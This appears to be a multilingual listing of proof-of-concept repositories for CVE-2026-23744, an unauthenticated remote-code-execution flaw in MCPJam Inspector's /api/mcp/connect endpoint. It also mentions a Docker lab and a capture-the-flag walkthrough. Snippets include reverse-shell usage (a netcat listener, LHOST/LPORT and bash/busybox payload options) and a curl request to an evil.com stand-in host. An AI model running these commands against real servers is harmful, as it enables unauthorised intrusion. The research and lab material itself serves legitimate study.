CVE-2026-23744-PoC

الوصف مُفتش MCPJam هو منصة التطوير المحلية الأولى لخوادم MCP. الإصدارات 1.4.2 والإصدارات الأقدم تحتوي على ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE، والتي تسمح للمهاجم بإرسال طلب HTTP مُعد خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى RCE. نظرًا لأن مُفتش MCPJam يستمع افتراضيًا على 0.0.0.0 بدلاً م...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Exécution de code à distance sur MCPJam Inspector Référence https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution : Preuve de concept POC MCPJam inspector 3. Exécutez l'exploit python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab Ce dépôt est un petit laboratoire Docker pour comparer une version vulnérable vs une version corrigée de MCPJam Inspector pour CVE-2026-23744. Il est destiné à l'apprentissage et à la constitution d'un portfolio de sécurité public : configuration rapid...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector est une plateforme de développement locale pour les serveurs MCP. Dans les versions 1.4.2 et antérieures, une faille d'exécution de code à distance RCE permet à des attaquants d'envoyer une requête HTTP spécialement conçue qui installe un serveur MCP et...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE dans MCPJam inspector = 1.4.2 Détails de la vulnérabilité https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Utilisation usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this...

CVE-2026-23744-POC

Description Cette vulnérabilité existe car MCPJam Inspector expose des points de terminaison d'API internes destinés au débogage et au développement. Ces points de terminaison acceptent des entrées contrôlées par l'utilisateur et les transmettent directement à l'exécution de processus au niveau d...

CVE-2026-23744

CVE-2026-23744 – Preuve de concept Le script Python de cette PoC envoie une simple requête HTTP à l'hôte cible exécutant l'inspecteur MCPJam version remplacez par votre port d'écoute Ensuite, ouvrez un autre terminal et exécutez la PoC : cd CVE-2026-23744 python3 exploit.py Références RCE dans...

CVE-2026-23744

CVE-2026-23744 Exploit pour MCPJam Inspector Installez les bibliothèques avec : pip install -r requirements.txt - utilisez python CVE-2026-23744 --help pour plus d'informations MCPJam inspector est la plateforme de développement local-first pour les serveurs MCP. Les versions 1.4.2 et antérieures...

CVE-2026-23744-script

Un script pour CVE-2026-23744, qui exploite MCPJam Inspector versions = 1.4.2. Basé sur la commande curl utilisée ici : https://github.com/advisories/GHSA-232v-j27c-5pp6 Assurez-vous que votre fichier /etc/hosts est correct et pointe vers le domaine/vhost de la cible...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector RCE non authentifié MCPJam Inspector -i -p -m Option| Description| Valeur par défaut ---|---|--- -u| URL cible| requis -i| Votre adresse IP d'écoute LHOST| requis -p| Votre port d'écoute LPORT| requis -m| Méthode de charge utile : busybox, bash, python3| busybox...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector تنفيذ تعليمات برمجية عن بُعد دون مصادقة RCE الوصف المنتج : MCPJam Inspector الإصدارات المتأثرة : ≤ 1.4.2 الإصدار المُصحَّح : 1.4.3 النوع : تنفيذ تعليمات برمجية عن بُعد دون مصادقة RCE ناقل الهجوم : الشبكة المصادقة المطلوبة : لا تفاعل المستخدم المطلوب : لا CVSS v3....

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

على كالي لينكس - الطرفية 1 nc -lvnp 4444 على كالي لينكس - الطرفية 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-...

CVE-2026-23744

CVE-2026-23744 — تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في MCPJam Inspector إثبات مفهوم PoC لتنفيذ التعليمات البرمجية عن بُعد بدون مصادقة لثغرة CVE-2026-23744. تعرّض MCPJam Inspector الإصدار 1.4.2 والإصدارات الأقدم وظائف عبر /api/mcp/connect يمكنها تشغيل أمر خادم MCP يتحكم فيه المهاجم دون مصادق...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit يستهدف هذا الإثبات العملي بلغة بايثون خدمة MCP بروتوكول سياق النموذج الضعيفة التي يعرضها التطبيق المستهدف. تسمح الثغرة للمهاجم بتقديم معاملات إعدادات الخادم التعسفية من خلال نقطة النهاية /api/mcp/connect. النقطة النهائية المتأثرة POST /api/mcp/connect الأدوات...

DevHub-HTB-Walkthrough

DevHub – دليل HTB لينكس متوسط الجهاز: DevHub الصعوبة: Medium نظام التشغيل: Linux المواضيع: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, تصعيد صلاحيات الجذر 📌 1. الاستطلاع nmap -sC -sV devhub.htb النتيجة: المنفذ 22 SSH المنفذ 80 HTTP المنفذ 6274 MCPJam Inspector 📌 2. تعديل ملف المضيفين ec...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC об уязвимости в MCP Server. автоматизировано для части POST-запроса с правильным телом. уязвимый путь: /api/mcp/connect метод с помощью curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 الوصف MCPJam inspector هي منصة تطوير محلية أولاً لخوادم MCP. الإصدارات =1.4.2 معرّضة لثغرة تنفيذ التعليمات البرمجية عن بُعد RCE، والتي تسمح للمهاجم بإرسال طلب HTTP مُصمَّم خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. للحصول على تفاصيل حول الثغر...